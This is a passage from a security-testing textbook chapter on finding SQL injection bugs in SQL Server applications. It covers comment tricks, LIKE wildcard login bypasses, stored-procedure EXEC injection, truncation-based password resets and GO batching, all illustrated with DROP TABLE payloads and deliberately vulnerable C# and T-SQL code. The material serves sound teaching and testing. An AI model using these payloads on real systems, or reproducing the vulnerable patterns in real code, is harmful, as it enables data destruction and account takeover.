Recall in the previous example, Ted Bremer was input supplied by the attacker. Imagine that this input came from a Web application submitted by the user. The SQL statement would look like this:

SELECT * FROM Customers WHERE ContactName = 'Ted Bremer'

What could you do to break out of the SQL statement? Because Ted Bremer is a string that is enclosed in single quotation marks, supplying a value that contains a single quotation mark could cause a SQL injection. If you supply the value aaa’bbb and the application properly escapes the quotation mark, you will see the following in SQL Server Profiler:

SELECT * FROM Customers WHERE ContactName = 'aaa''bbb'     

However, if the application doesn’t escape the input before constructing the SQL statement, you might see the following in SQL Server Profiler:

SELECT * FROM Customers WHERE ContactName = 'aaa'bbb'        

Because the single quotation mark is not escaped, the user-supplied input could cause an SQL injection. The preceding SQL query is invalid because it denotes two actual statements: SELECT * FROM Customers WHERE ContactName = ‘aaa’ and bbb’. Although the first statement is valid, the second is not and thus causes a SQL syntax error. If the attack constructs a well-formed SQL statement, such as the following, the query will execute:

SELECT * FROM Customers WHERE ContactName = 'aaa'; DROP TABLE Customers--'

The semicolon is used to denote the following two separate SQL statements that will be executed:

For SQL injection on a string value, we showed examples like the former, in which a single quotation mark is used to break out of the statement and cause a table to be dropped. However, the account used to connect to the database might not have permissions to drop the table. To help protect from SQL injection bugs, then, you should lock down permissions so that users can only read data from the database, right? Not exactly, locking permissions simply limits the types of SQL statements that are allowed. Of course, your application should always use the principle of least privilege when assigning user permissions, but look at the following query and see if you can find a problem even when the user can only read data from the database:

SELECT * FROM Users WHERE Username = 'Bryan' AND Password = 'secret'

Even if the user supplies the values for Username and Password, the user might not be able to run certain types of statements. However, an attacker might be able to change the logic of the statement. Following are some examples of how the query could be manipulated to return different results to the application:

In the preceding examples, the attacker-supplied data specified for the Username and Password was able to alter the logic of the SQL statement so that the value of the Password did not matter. Thus, the record for Bryan will always be returned.

Testers often mistakenly ignore number values when looking for SQL injection bugs. If the input isn’t checked to make sure only numerical values are allowed, an attacker doesn’t even need to use single quotation marks to cause a SQL injection. Take a look at this example SQL statement:

SELECT * FROM Accounts WHERE AccountID = 5 And Password = 'secret'

If the value of AccountID is provided by the user and isn’t checked to make sure it is a valid number, an attacker could supply a value that doesn’t use any single quotation marks to manipulate the SQL statement. For instance, imagine that the preceding query is used to access account information on a Web site. Instead of 5, an attacker could try different values to manipulate the logic of the statement to cause the value for the Password to be irrelevant, as shown in the following:

These examples would not work if the developer employed a check that made sure the input was a numerical type. However, other interesting vulnerabilities could unexpectedly enable the logic of the SQL statement to be modified. Consider the following code used to update the balance of an account:

int qty = Int32.Parse(Request.QueryString["qty"]);
string sql = "UPDATE Products SET Quantity=Quantity-" + qty;

The Int32.Parse method will throw an exception if the input value is not a valid integer, so attempts to break out of the SQL statement using the single quotation mark won’t work. But what happens if qty is a negative number, such a –5? The constructed SQL statement would become the following:

UPDATE Products SET Quantity=Quantity--5

Because the two hyphens signify the start of a comment, Quantity is never updated. If the input were correctly verified to ensure that it is a valid number and also positive, this wouldn’t be a bug.

We demonstrated how two hyphens are used to comment out the rest of a SQL query. Many times when you try to cause a SQL injection, the data will appear in the middle of a statement. Using comments is a common way to prevent a syntax error because the rest of the query after the injection does not have to be syntactically correct. For example, look at the following sample code:

string search = ...; // Get search string from user.
string sqlQuery = "SELECT * FROM Products WHERE ProductName LIKE '%" + search + "%' AND Unit
sInStock > 0";

If an attacker tries to execute an arbitrary command, such as ‘;DROP TABLE Products, the query will fail because of a syntax error.

SELECT * FROM Products WHERE ProductName LIKE '%';DROP TABLE Products%' AND UnitsInStock > 0

This query isn’t valid because the end of the query has %’ AND UnitsInStock > 0. Although an attacker could try to correct the syntax of the statement, it is easier simply to comment out the remainder of the query using two hyphens (--). Then, the query would look like this:

SELECT * FROM Products WHERE ProductName LIKE '%';DROP TABLE Products--%'
AND UnitsInStock > 0

Depending on the database server, different styles of comments are supported. Table 16-1 shows different comment styles that are supported in different database systems. You should understand the comment styles for the database system that your application uses or supports.

The purpose of using SQL comments is to prevent portions of the SQL statement from being executed. This technique helps the attacker perform the attack because the remainder of the SQL statement does not require proper syntax. Also, attackers might use other ways to get a SQL statement to end prematurely without using comments, such as injecting NULL characters or using line breaks. As a tester, think of ways that your application might process the input that would enable an attacker to cause a SQL injection.

Many times, an application allows records to be sorted in either ascending or descending order. Sorting can be done as part of the SQL query by including the ORDER BY clause. For example, the following query will return all of the records in the Products table sorted by the UnitPrice from high to low:

SELECT * FROM Products ORDER BY UnitPrice DESC

Now, imagine the problems that might result if the application has a URL like http://www.contoso.com/products.aspx?sort=DESC. If the application just passes the value of the sort parameter into the SQL statement, an attacker can cause a SQL injection. Using the blind SQL injection techniques, discussed later in this chapter, you can determine whether there might be a problem by supplying invalid column names to sort. For example, say you browsed to http://www.contoso.com/products.aspx?sort=DESC,%20foo. The SQL statement that might be constructed is this:

SELECT * FROM Products ORDER BY UnitPrice DESC, foo

This query tries to select all of the records from Products, ordering them by UnitPrice in descending order, and then ordering them by the column foo. Notice, foo is supplied as part of the sort value in the URL. If the table does not contain a column named foo, the query will fail and the Web application won’t return any results. If the page does not return any results, it is a good indication of a SQL injection. But if a valid column name could be guessed and the results are returned, it is likely that there is a SQL injection bug in the ORDER BY clause. For example, the following query would be valid and will return the expected resulting records in descending order.

SELECT * FROM Products ORDER BY UnitPrice DESC, UnitPrice

Of course, the attacker might not know the database table has a column named UnitPrice, but often an application will also pass in the name of the column that is supposed to be sorted. If not, attackers might also make logical guesses, such as assuming there is a column named ID, to see if they can get the query to succeed and indicate the SQL injection bug.

In many of the previous SQL query examples, the results had to match a specific value. However, SQL also allows the query to match certain patterns when the LIKE clause and various wildcard characters are used. For instance, an application might use LIKE clauses when returning search results. Look at the following sample ASP.NET code:

string search = ...; // Get search string from user.
string sqlQuery = "SELECT * FROM Products WHERE ProductName LIKE '%" +
    search + "%'";

If this sqlQuery is executed, it would return all the records in which the value provided by the search query string parameter appears anywhere in the product names.

The wildcard characters listed in Table 16-2 can be used with the LIKE clause in SQL Server.

To escape any of the characters so they can be part of the search string and not used as a wildcard character, enclose the character in square brackets ([ ]). For example, the following LIKE clause enables you to search for the string 5%:

SELECT * FROM Products WHERE Discount LIKE '5[%]'

Attackers find queries that use the LIKE clause interesting because the clause might allow an application to return more information than it should, for instance, when a LIKE clause is used by mistake. Look at how a coding mistake can cause undesirable results for the application:

// Get name from query string, and escape single quotation marks.
string user     = ...; // Get username string from user.
string password = ...; // Get password string from user.
string sqlQuery = "SELECT * FROM Accounts WHERE Username LIKE '" + user +
    "' AND Password LIKE '" + password + "'";

Because the LIKE clause is used, the attacker is able to log on as any user by providing a password with the value %. Look at what the query becomes:

SELECT * FROM Accounts WHERE Username LIKE 'Admin' AND Password LIKE '%'

This causes the query to allow any value for Password.

To see if your application is vulnerable, look for places that shouldn’t allow wildcard values to be valid, such as in user names, passwords, and account IDs, and then try the different wildcard characters specified in Table 16-2. Note that other database systems might use a variation of the LIKE clause. For example, Oracle supports the LIKE clause and also supports clauses such as REGEXP_LIKE, which is an extremely powerful clause because it allows regular expression functionality in the query.

Most database servers have built-in functions that allow certain calculations to be done as part of the query. For instance, look at the following SQL query:

SELECT AVG(UnitPrice) FROM Products

The AVG function calculates the average of all the UnitPrice values in the Products table. If UnitPrice is supplied in user data, a SQL injection bug might exist. Previously, you saw how single quotation marks can be used to break out of a SQL query. But if your data is inside a SQL function, a closing parenthesis must be used. If you supply a value using a single quotation mark, SQL might return the following error:

Unclosed quotation mark before the character string ') FROM Products'. Line 1: Incorrect
syntax near ') FROM Products'.

The error message could reveal to an attacker that the data is between parentheses. If an error like this one is returned, the rest of the query is also revealed to the attacker, which helps the attacker construct a valid query. For instance, the attacker input could be UnitPrice) FROM Products--, and the query would look like:

SELECT AVG(UnitPrice) FROM Products--)FROM Products

By duplicating the query and commenting out the rest of the query, the attacker forces the statement to execute without any errors.

If error messages aren’t returned, attackers can try constructing a valid query that uses other SQL functions, although this isn’t quite as easy. For example, SQL Server has several functions, including USER_NAME. This is what the query would look like if the attacker supplies the value UnitPrice), USER_NAME(:

SELECT AVG(UnitPrice), USER_NAME() FROM Products

The attacker was able to construct a valid query that returned not only the average value of the UnitPrice column from Products, but also the current user connecting to the database.

To specify certain objects as part of a SQL query, the object name might be enclosed in square brackets. Generally, if the name contains a space, you are required to use square brackets. For instance, if a table is called Order Details, you would have to use the following syntax to return all of the records:

select * from [Order Details]

Even if the name does not contain a space, square brackets can be used. Also, square brackets can be used when specifying a column name. For instance, an application might execute the following query to return all of the records from the Products table where the ProductID is less than 10:

select * from Products WHERE [ProductID] < 10

Just like the SQL functions, a single quotation mark cannot be used to break out of the query if the user’s data is used when specifying a name in square brackets. Instead, the closing square bracket must be used. For instance, if ProductID was user-supplied data, the attacker could break out of the query using the following:

select * from Products WHERE [ProductID] < 0; DROP TABLE Products--] < 10

Although not as common, it is possible to use double quotation marks instead of single quotation marks to delimit identifiers and literal strings. To do this, the QUOTED_IDENTIFIER setting must be set to OFF. The default for this setting is ON; however, once it is turned off the following query becomes valid:

SET QUOTED_IDENTIFIER OFF
SELECT * FROM Customers WHERE ContactName = "Ted Bremer"

Although a single quotation mark will not cause a SQL injection bug in this query, double quotation marks could.

If you are using SQL Server Profiler or another tracing utility to monitor the SQL statements that the application is executing, do you think the following output would be considered safe when calling a stored procedure?

exec sp_GetCustomerID 'bad''input'                                        

It looks like the input supplied as an argument value to the stored procedure is escaped properly. However, the logic in the stored procedure could still make the stored procedure vulnerable to SQL injection attacks if EXEC, EXECUTE, or sp_executesql is used inside the stored procedure. For example, look at the following logic that a stored procedure might have:

CREATE PROCEDURE sp_GetCustomerID @name varchar(128)
AS
BEGIN
EXEC ('SELECT ID FROM Customers WHERE ContactName = ''' + @name + '''')
END

Do you see the problem with this stored procedure? Notice that inside the stored procedure, the query is actually constructed using the parameter value for @name. The stored procedure executes the query using the EXEC statement. Following are the trace events that are reported by SQL Server Profiler with the SQLInjection.tdf template when you run this query using the input badinput:

exec sp_GetCustomerID 'badinput'                                                          
EXEC ('SELECT ID FROM Customers WHERE ContactName = ''' + @name + '''')                          
SELECT ID FROM Customers WHERE ContactName = 'badinput'                                   

This output shows that sp_GetCustomerID is executed with a parameter value badinput. The second line shows the statement that is executed. Notice that the stored procedure builds a SQL statement and executes it by calling the EXEC function. The last line shows the SQL statement that is executed when calling EXEC. Now, look at the output if the value bad’input is used instead:

exec sp_GetCustomerID 'bad''input'                                                        
EXEC ('SELECT ID FROM Customers WHERE ContactName = ''' + @name + '''')                          

Notice that the SELECT statement isn’t executed as it is in the previous example. This is because the statement that was created could not be executed because of a syntax error caused by the single quotation mark in the input. Even though the single quotation mark is escaped when calling sp_GetCustomerID, it isn’t escaped when the SQL statement is dynamically created inside the stored procedure. The string literal SELECT ID FROM Customers WHERE ContactName = ‘bad’input’ is being contrasted, and then executed. See what happens when the input is well formed to inject another SQL injection statement:

exec sp_GetCustomerID 'bad''SELECT 1--input'                                              
EXEC ('SELECT ID FROM Customers WHERE ContactName = ''' + @name + '''')                          
SELECT ID FROM Customers WHERE ContactName = 'bad                                         
SELECT 1--input'                                                                          

The input supplied to the stored procedure is bad’SELECT 1--input. As you can see from the output of SQL Server Profiler, the stored procedure that calls EXEC allows two statements to execute. The first one has a syntax error because it is missing a trailing single quotation mark; however, the SELECT 1--input SQL statement still executes.

Stored procedures can use variables to construct SQL statements. The value of these variables is truncated if the buffer allocated for the variables is not large enough to contain the value. It is possible for an attacker to supply unexpectedly long strings to a stored procedure that will cause a statement to be truncated and alter the results. Take a look at the following example for a stored procedure that is vulnerable to injection by truncation:

CREATE PROCEDURE sp_MySetPassword
    @login varchar(128),
    @old varchar(128),
    @new varchar(128)
AS

DECLARE @command varchar(128)
SET @command= 'UPDATE Users SET password=' + QUOTENAME(@new, '''') + '
WHERE login=' + QUOTENAME(@login, '''') + ' AND password = ' +
QUOTENAME(@old, '''')

-- Execute the command.
EXEC (@command)
GO

When the stored procedure is called, you can see the dynamic SQL in SQL Server Profiler is this:

-- Dynamic SQL                                                                                      
UPDATE Users SET password='newpass' WHERE login='Bryan' AND password = 'oldpass'

Unless the password for Bryan was oldpass (which is unlikely), the query will not update the Users table with the new password value. However, notice that the command variable in the stored procedure can hold only 128 characters, and the arguments the user specifies each hold 128 characters. To set the new password for a user named Bryan without knowing the previous password you want to cause the query that executes to truncate after login=‘Bryan’. Because UPDATE Users SET password=‘’ WHERE login=‘Bryan’ is 48 characters, and the command buffer holds only 128 characters, specifying 80 characters for the new password will cause the truncation.

EXEC sp_MySetPassword 'Bryan', 'idontknow',
'12345678901234567890123456789012345678901234567890123456789012345678901234567890'

By providing 80 characters for the new password, the dynamic SQL statement truncates as shown in the following SQL Server Profiler output:

-- Dynamic SQL                                                                                          
UPDATE Users SET                                                                                        
password='1234567890123456789012345678901234567890123456789012345678901234567890                        
1234567890' WHERE login='Bryan'                                                                         

Truncation can also be caused easily when you use the QUOTENAME and REPLACE methods. Make sure that variables used in stored procedures are large enough to contain the data if they are used to execute dynamic SQL statements.

Some SQL Servers allow transactions to be batched. Earlier in this chapter, we discussed an example that used a semicolon to specify two SQL statements that are executed in a batch command, such as the following:

SELECT * FROM Customers; SELECT * FROM Orders;

We also mentioned that a semicolon isn’t always needed either. Other applications might define their own syntax to allow batching transactions as well. For instance, SQL Query Analyzer for SQL Server allows the command GO to separate a transaction. Although GO is not actually a SQL command, the SQL tool does recognize it and batch the transactions. Here is a common way the GO command is used:

USE pubs
GO
SELECT * FROM authors
GO

This example creates two batch transactions to send to the computer running SQL Server. The first specifies the pubs database should be used, and the second selects all the records from the authors table. What is useful about batch transactions is that one batch can contain an error and the others will still execute.

Now imagine that your application parses SQL statements and creates batch transactions to execute, just like SQL Query Analyzer does. The syntax might look like the following ( is a carriage return/line feed):

<batch> 

<DELIMITER> 

<batch> 

<DELIMITER> 

...

If the application supports this notation, the attacker has another way to break out of a statement. Suppose the application supports the same batch syntax using the word GO:

string input = ...; // Get input string from user.
string sqlQuery = "SELECT * FROM Authors WHERE Name = '" + input + "'";

Even if the input value is stripped of problematic SQL query characters, such as single quotation marks, hyphens, and semicolons, it might be possible for the attacker to inject SQL by batching the commands. For example, what happens if the attacker’s input is aaa GO DROP TABLE Authors GO ? Here is what the SQL query would look like:

SELECT * FROM Authors WHERE Name = 'aaa
GO
DROP TABLE Authors
GO
'

Although the first and last statements will generate syntax errors, DROP TABLE Authors might still be executed because the application breaks up the input into two separate batch statements and runs them separately. Even though the input was enclosed in single quotation marks, the attacker would be able to break out using the and the delimiter GO. It isn’t very common for applications to support batch processing of SQL queries like in this example, but it is possible. As always, understanding your application better helps you determine how it might be vulnerable.